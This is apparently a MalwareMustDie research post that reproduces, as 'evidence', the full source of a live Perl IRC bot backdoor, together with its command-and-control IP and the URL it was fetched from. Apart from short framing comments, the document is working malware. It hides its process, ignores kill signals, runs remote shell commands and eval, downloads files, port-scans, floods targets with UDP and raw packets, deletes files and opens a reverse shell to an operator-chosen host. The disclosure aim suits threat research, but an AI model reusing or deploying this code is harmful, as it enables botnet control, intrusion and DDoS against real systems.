# MalwareMustDie!!
# Found this evil Perl IRC Shell/Backdoor announced in:
# https://twitter.com/unixfreaxjp/status/433629833889714176
# CnC is IRC server in 74.208.250.181 is in USA network: u17072928.onlinehome-server.com.|8560 | 
# 74.208.0.0/16 | ONEANDONE | US | ONEANDONE.NET | 1&1 INTERNET INC.
# 
# PoC of the malicious activity is snipped code below..
# Detected: Backdoors, Faking many IRC Clients, HTTP downloader, Port Scanner and DDoS tools
# 
# --- snips / start evidence ----

$ curl http://121.119.182.119/icons/web.is

#!/usr/bin/perl
my @mast3rs = ("w","R");

my @hostauth = ("w");
my @admchan=("#bug");

my @server = ("74.208.250.181");
$servidor= $server[rand scalar @server] unless $servidor;


my $xeqt = "!";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("ps x");

my @nickname = ("LINUX");

my @xident = ("KAST");
my @xname = (`uname -a`);

#################
# Random Ports
#################
my @rports = ("6667");

my @Mrx = ("¥001mIRC32 v5.91 K.Mardam-Bey¥001","¥001mIRC v6.2 Khaled Mardam-Bey¥001",
   "¥001mIRC v6.03 Khaled Mardam-Bey¥001","¥001mIRC v6.14 Khaled Mardam-Bey¥001",
   "¥001mIRC v6.15 Khaled Mardam-Bey¥001","¥001mIRC v6.16 Khaled Mardam-Bey¥001",
   "¥001mIRC v6.17 Khaled Mardam-Bey¥001","¥001mIRC v6.21 Khaled Mardam-Bey¥001",
   "¥001Snak for Macintosh 4.9.8 English¥001",
   "¥001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC¥001",
   "¥001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)¥001",
   "¥001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]¥001",
   "¥001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]¥001",
   "¥001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]¥001",
   "¥001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]¥001",
   "¥001ircN 7.27 + 7.0 - -¥001","¥001..(argon/1g) :bitchx-1.0c17¥001",
   "¥001ircN 8.00 - he tries to tell me what I put inside of me -¥001",
   "¥001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people¥001",
   "¥001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!¥001",
   "¥001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!¥001",
   "¥001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!¥001",
   "¥001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!¥001",
   "¥001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!¥001",
   "¥001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!¥001",
   "¥001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!¥001",
   "¥001bitchx-1.0c18 :tunnelvision/1.2¥001","¥001PnP 4.22 - http://www.pairc.com/¥001",
   "¥001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1ﾂ?9] : Keep it to yourself!¥001",
   "¥001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras¥001",
   "¥001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet¥001",
   "¥001irssi v0.8.10 - running on Linux i586¥001","¥001irssi v0.8.10 - running on FreeBSD i386¥001",
   "¥001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there¥001",
   "¥001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there¥001");

# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

# xeQt

#my $nick = "Power";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';


use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."¥0";
my $pid = fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

sub getnick {
  return "$nickname[rand scalar @nickname]".int(rand(20000));
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}
sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =‾ m,^http://([^/:]+)(?::(¥d+))?(/¥S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =‾ m,^http://([^/:]+):(¥d+)(/¥S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}
sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path¥n";

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =‾ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;

  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0¥015¥012"
              . "Host: $netloc¥015¥012"
              . "User-Agent: $AGENT/$VERSION/u¥015¥012";
  $request .= "Pragma: no-cache¥015¥012" if ($main::http_no_cache);
  $request .= "¥015¥012";
  print $sock $request;
  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") {
      $b1 = $buf;
      $buf =‾ s/.+?¥015?¥012¥015?¥012//s;
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);
  $main::http_get_result = 200;
  if ($b1 =‾ m,^HTTP/¥d+¥.¥d+¥s+(¥d+)[^¥012]*¥012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result¥n$b1¥n";
    if ($main::http_get_result =‾ /^30[1237]/ && $b1 =‾ /¥012Location:¥s*(¥S+)/) {
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =‾ /^2/;
  }
  return $buf;
}
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]¥n";
  } else {
      print $IRC_cur_socket "$_[0]¥n";
  }
}
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;
     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/¥n/, $msg);
     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =‾ s/¥r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =‾ /¥r$/) {
               parse("$line");
           } elsif ($line =‾ /^(¥S+) NOTICE AUTH :¥*¥*¥*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =‾ /^PING ¥:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =‾ /^¥:(.+?)¥!(.+?)¥@(.+?) PRIVMSG (.+?) ¥:(.+)/) {
       my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
       if ($args =‾ /^¥001VERSION¥001$/) {
         notice("$pn", "".$Mrx."");
       }
       elsif ($args =‾ /^¥001PING¥s+(¥d+)¥001$/) {
         notice("$pn", "¥001PONG¥001");
       }
       if (grep {$_ =‾ /^¥Q$hostnam3¥E$/i } @hostauth) {
       if (grep {$_ =‾ /^¥Q$pn¥E$/i } @mast3rs) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
        }
    if ($args =‾ /^!(.*)/){
       ircase("$pn","$chan","$1");
    }
        if ($args =‾ /^(¥Q$meunick¥E|¥Q$xeqt¥E)¥s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =‾ /^¥!(.*)/) {
              ircase("$pn","$onde","$1");
            } elsif ($arg =‾ /^¥@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
          }
        } 
      }
   } elsif ($servarg =‾ /^¥:(.+?)¥!(.+?)¥@(.+?)¥s+NICK¥s+¥:(¥S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =‾ m/^¥:(.+?)¥s+433/i) {
       $meunick = getnick();
       nick("".$meunick."-");
   } elsif ($servarg =‾ m/^¥:(.+?)¥s+001¥s+(¥S+)¥s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@admchan){
         sendraw("JOIN $canal muietie");
       }
   }
}
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork)
       {
         exit;
       }
   else
   {
      # Quick scan
           if ($funcarg =‾ /^ps (.*)/) {
             my $hostip="$1";
        sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312Portscanning¥003¥002: $1 ¥002¥00312Ports:¥003¥002 default");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :¥002[x]¥0034 No open ports found on¥002 $1");
             }
           }
      # NMAP, lol
           elsif ($funcarg =‾ /^nmap¥s+(.*)¥s+(¥d+)¥s+(¥d+)/)
      {
              my $hostname="$1";
              my $portstart = "$2";
               my $portend = "$3";
               my (@abertas, %porta_banner);
          sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312xMap Portscanning¥003¥002: $1 ¥002¥00312Ports:¥003¥002 $2-$3");
               foreach my $porta ($portstart..$portend)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($xstats)
       {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                 }
               }
             }
             if (@abertas) {
          sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312Scan Complate¥003¥002");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :¥002¥00312No ports found..¥002");
             }
            }
      # Remove
      elsif ($funcarg =‾ /^rm/)
      {
         system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312(Quickdel)¥002¥00314 Removed files and folders ");
      }
      # Version
      elsif ($funcarg =‾ /^version/)
      {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312(Version)¥002¥00314 $version ");
      }
      # Download
           elsif ($funcarg =‾ /^down¥s+(.*)¥s+(.*)/)
      {
              getstore("$1", "$2");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312(Download)¥002¥00314 Page: $2 (File: $1)") if ($xstats);
           }
       # Udp
            elsif ($funcarg =‾ /^udp¥s+(.*)¥s+(¥d+)¥s+(¥d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312(UDP DDoSing)¥003 Attacking¥002: $1 - ¥002Time¥002: $tempo"."seconds");
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($xstats)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002¥00312(UDP Complete):¥003¥002 $1 - ¥002Sendt¥002: $pacotese"."kb - ¥002Time¥002: $tempo"."seconds");
             }
            }

       # Backconnect
            elsif ($funcarg =‾ /^back¥s+(.*)¥s+(¥d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
         sendraw($IRC_cur_socket, "PRIVMSG $printl :¥002[x] ->¥0034 Injection ...");
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
         system("cd /tmp/.mrx");
              close(STDIN);
              close(STDOUT);
              close(STDERR);
            }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =‾ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =‾ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =‾ /^rejoin¥s+(.*)/) {
      my $chan = $1;
      if ($chan =‾ /^(¥d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =‾ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =‾ /(¥S+)¥s+(¥S+)/);
   }
   elsif ($case =‾ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =‾ /(¥S+)¥s+(¥S+)/);
   }
   elsif ($case =‾ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =‾ /(¥S+)¥s+(¥S+)/);
   }
   elsif ($case =‾ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =‾ /(¥S+)¥s+(¥S+)/);
   }
   elsif ($case =‾ /^msg¥s+(¥S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =‾ /^flood¥s+(¥d+)¥s+(¥S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =‾ /^ctcpflood¥s+(¥d+)¥s+(¥S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =‾ /^ctcp¥s+(¥S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =‾ /^invite¥s+(¥S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =‾ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =‾ /^jump¥s+(¥S+)¥s+(¥S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =‾ /^send¥s+(¥S+)¥s+(¥S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =‾ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =‾ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =‾ /^rj¥s+(¥S+)¥s+(¥d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =‾ /^rp¥s+(¥S+)¥s+(¥d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =‾ /^quit/) {
     quit();
   }
   elsif ($case =‾ /^rand/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =‾ /^stat (.*)/) {
     if ($1 eq "on") {
      $xstats = 1;
      msg("$printl", "Satus enabled");
     } elsif ($1 eq "off") {
      $xstats = 0;
      msg("$printl", "Status disable");
     }
   }
   elsif ($case =‾ /^bang (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
     }
   }
}
sub shell {
  return unless $shellaccess;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =‾ /cd (.*)/) {
    chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :¥001ACTION $_[1]¥001");
}
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :¥001$_[1]¥001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

package DCC;
sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};
     my $msg;
     my $nread = sysread($fh, $msg, 10240);
     if ($nread == 0 and $dcctipo =‾ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }
     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}

sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }
  my $dccark = $arquivo;
  $dccark =‾ s/[.*¥/](¥S+)/$1/;
  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));
  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }
  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;
  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;
  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }
  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =‾ /^(¥d+)¥.(¥d)(¥d)(¥d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1¥.$2"."$r_duv";
    }
    if ($porcen =‾ /^(¥d+)¥.(¥d)(¥d)(¥d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1¥.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }
  return(0);
}

sub fixaddr {
    my ($address) = @_;

    chomp $address;
    if ($address =‾ /^¥d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =‾ /^[12]?¥d{1,2}¥.[12]?¥d{1,2}¥.[12]?¥d{1,2}¥.[12]?¥d{1,2}$/) {
        return $address;
    } elsif ($address =‾ tr/a-zA-Z//) {
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}

# ---- end of evidence----

#----
#MalwareMustDie
#"Thou Shalt not Hack"